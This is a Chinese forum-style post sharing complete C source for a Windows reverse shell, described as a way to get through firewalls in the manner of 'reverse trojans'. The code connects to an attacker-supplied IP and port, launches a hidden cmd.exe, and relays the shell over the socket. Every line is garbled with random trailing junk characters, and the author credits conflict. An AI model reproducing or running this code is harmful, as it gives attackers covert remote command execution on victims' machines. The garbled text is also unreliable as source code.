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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W2Y%PD9a  
c!@g<<}[(  
/* ============================== JwR]!  
Rebound port in Windows NT S[!-M\b  
By wind,2006/7 NNC@?A7  
===============================*/ f`@$ saFD  
#include /I~iUND"G  
#include 9kj71Jp&}  
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#pragma comment(lib,"wsock32.lib") Nq>74q]}n8  
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void OutputShell(); L1#z'<IO  
SOCKET sClient; yRaB\'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :AYp{"{  
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void main(int argc,char **argv) -E1b5i;f  
{ =s"_! 7  
WSADATA stWsaData; (C/2shr 8  
int nRet; L{xCsJ3d  
SOCKADDR_IN stSaiClient,stSaiServer; " SkTVqm  
hR" j[  
if(argc != 3) d *ch.((-  
{ ]v7f9MC'\  
printf("Useage:\n\rRebound DestIP DestPort\n"); _+%RbJ~H  
return; iTi]D2jC  
} E/@w6uIK[  
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WSAStartup(MAKEWORD(2,2),&stWsaData); C*kGB(H7  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U-(2;F)  
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stSaiClient.sin_family = AF_INET; -d? 9Acd  
stSaiClient.sin_port = htons(0); w[@>k@=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ld>y Fb(`  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Hm@+(j(N96  
{ i_?";5B"  
printf("Bind Socket Failed!\n"); !|K~)4%rj  
return; nsWenf  
} t_1a.Jv  
Z3E957}  
stSaiServer.sin_family = AF_INET; i{zg{$U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7g1" s1~or  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4G;FpWQm  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6#P\DT  
{ )2T1g~8  
printf("Connect Error!"); &RQQVki3  
return; -:IG{3fnu  
} Srw ciF  
OutputShell(); 'vKB]/e;  
} 0MDdcjqw  
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void OutputShell() J9J[.6k8  
{ *gRg--PY%  
char szBuff[1024]; tpw0j CVu  
SECURITY_ATTRIBUTES stSecurityAttributes; =Ly7H7Q2  
OSVERSIONINFO stOsversionInfo; ~#3h-|]*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Am=D kkP%  
STARTUPINFO stStartupInfo; , |SO'dG  
char *szShell; Bs2.$~   
PROCESS_INFORMATION stProcessInformation; +tFm DDx=  
unsigned long lBytesRead; u=B_cA}:  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n|`L>@aw,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #q.Q tDz  
stSecurityAttributes.lpSecurityDescriptor = 0; /VB n  
stSecurityAttributes.bInheritHandle = TRUE; IxC/X5Mp^q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o"D`_ER  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5 OR L  
m)4s4P57y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \z!*)v/{-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z M"J5}h  
stStartupInfo.wShowWindow = SW_HIDE; o_   
stStartupInfo.hStdInput = hReadPipe; :_v/a+\n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M##h<3I  
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GetVersionEx(&stOsversionInfo); U1(<1eTyu  
sOA!Sl  
switch(stOsversionInfo.dwPlatformId) q)R&npP7  
{ l{wHu(1  
case 1: /zZ$<mVG  
szShell = "command.com"; Q: ?]:i/*  
break; t{?UNW  
default: ! 7,rz1s73  
szShell = "cmd.exe"; <(x[Qp/5P  
break; q,-bw2   
} yv| |:wZC  
 4"72  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vH_QSx;C#  
b*=eMcd  
send(sClient,szMsg,77,0); m}w~ d /  
while(1) clK3kBh~&  
{ ,^,KWi9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,aS6|~ac4  
if(lBytesRead) )@)wcf!b  
{ [f["9(:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]CyWL6 z  
send(sClient,szBuff,lBytesRead,0); m=i8o `  
} 5|YpkY  
else ?2hoY  
{ [/ uqH  
lBytesRead=recv(sClient,szBuff,1024,0); bnBnE[y<'  
if(lBytesRead<=0) break; FyYD7E  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zOA{S~>  
} @? 4-  
} z7'3d7r?  
~M`-sSjZs  
return; n%PHHu  
}
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